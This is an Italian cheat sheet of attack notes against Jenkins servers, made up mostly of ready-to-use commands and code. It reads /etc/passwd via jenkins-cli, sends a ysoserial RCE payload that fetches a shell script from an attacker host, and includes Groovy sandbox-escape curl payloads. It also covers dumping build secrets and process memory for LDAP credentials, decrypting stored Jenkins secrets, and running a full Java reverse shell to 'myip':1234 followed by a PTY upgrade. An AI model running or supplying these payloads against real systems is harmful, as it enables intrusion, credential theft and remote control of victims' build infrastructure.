
Notes about attacking Jenkins servers
Con autenticazione, è possibile recuperare un file completo:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd"
Senza autenticazione o senza permessi Global/Read, è possibile leggere solo 3 righe: Leggi la prima riga:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i "@/etc/passwd"
Leggi la seconda riga:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job "@/etc/passwd"
Leggi la terza riga:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build "@/etc/passwd"
Come forzare la chiave di cifratura delle credenziali.
Usa ysoserial per generare un payload. Poi esegui la RCE usando questo script:
java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out
Dettagli qui.
Se Jenkins richiede l'autenticazione ma restituisce dati validi usando la seguente richiesta, è vulnerabile:
curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a
Vulnerabilità RCE originale qui, exploit completo qui.
RCE alternativa con permessi Overall/Read e Job/Configure qui.
Verifica se un'istanza Jenkins è vulnerabile (richiede i permessi Overall/Read) con un po' di Groovy:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'
Nota: se ricevi un errore 403 relativo a un crumb mancante (che è una protezione CSRF in Jenkins), potresti riuscire a ottenere il valore del crumb con una richiesta GET a https://example.com/crumbIssuer/api/json. Il valore del crumb deve poi essere aggiunto alla richiesta POST in un header Jenkins-Crumb.
Esegui comandi bash arbitrari:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'
Se non ottieni subito una reverse shell, puoi eseguire il debug lanciando un'eccezione:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'
Questa funziona solo se un utente ha i diritti 'Jobs/Configure' nella matrice di sicurezza, quindi è molto specifica.
Nota che questo è sfruttabile solo se si utilizza un Update Center dedicato e non aggiornato. Pertanto la maggior parte dei server non è vulnerabile.
Usa questo script per eseguire il dump degli output della console di build e delle variabili d'ambiente delle build, sperando di trovare segreti in chiaro.
usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
[-l] [-r] [-d] [-s] [-v]
url [url ...]
Dump all available info from Jenkins
positional arguments:
url
optional arguments:
-h, --help show this help message and exit
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-o OUTPUT_DIR, --output-dir OUTPUT_DIR
-l, --last Dump only the last build of each job
-r, --recover_from_failure
Recover from server failure, skip all existing
directories
-d, --downgrade_ssl Downgrade SSL to use RSA (for legacy)
-s, --no_use_session Don't reuse the HTTP session, but create a new one for
each request (for legacy)
-v, --verbose Debug mode
Usa questo script Python o questo script PowerShell.
Questi file sono necessari per decifrare i segreti di Jenkins:
Tali segreti si trovano solitamente in:
Ecco una regexp per trovarli:
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
Se Jenkins è configurato per verificare le credenziali utente inoltrandole a un LDAP (il che è assurdo, ma è una vulnerabilità comune nelle aziende), è possibile recuperare queste credenziali utente in chiaro facendo il dump della memoria del processo Java. Supponendo che il PID del server Jenkins sia 7, il seguente ciclo eseguirà un dump della memoria dello stack ogni 30 secondi:
head -n 1 /proc/7/maps
a=<first hex number>
b=<second hex number>
while [ 1 ]; do dd if=/proc/7/mem bs=$(getconf PAGESIZE) iflag=skip_bytes,count_bytes skip=$((0x$a)) count=$((0x$b - 0x$a)) of=/tmp/tmp.bin; strings /tmp/tmp.bin | grep "uid=" && break; sleep 30; done
Un piccolo ritardo è importante perché il garbage collector libera regolarmente le strutture delle credenziali.
Usa questo script per decifrare i segreti precedentemente scaricati.
Usage:
jenkins_offline_decrypt.py <jenkins_base_path>
or:
jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
or:
jenkins_offline_decrypt.py -i <path> (interactive mode)
println(hudson.util.Secret.decrypt("{...}"))
def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
Comando shell su più righe che può includere pipe, redirezioni e altro:
def proc = ['bash', '-c', '''your_long_command_here'''].execute();
Automatizza il tutto usando questo script.
Di default l'esecuzione avviene sul nodo master. Usa questo script per eseguire su uno slave specifico:
import hudson.util.RemotingDiagnostics
import jenkins.model.Jenkins
String agent_name = 'slave_name'
groovy_script = '''
def proc = ['cmd', '/c', 'cd D:\\\\ && dir data'].execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
'''
String result
Jenkins.instance.slaves.find { agent ->
agent.name == agent_name
}.with { agent ->
result = RemotingDiagnostics.executeGroovy(groovy_script, agent.channel)
}
println result
String host="myip";
int port=1234;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Lascio qui questo suggerimento per la reverse shell per recuperare una PTY completamente funzionante, nel caso qualcuno ne avesse bisogno:
python -c 'import pty; pty.spawn("/bin/bash")'
^Z bg
stty -a
echo $TERM
stty raw -echo
fg
export TERM=...
stty rows xx columns yy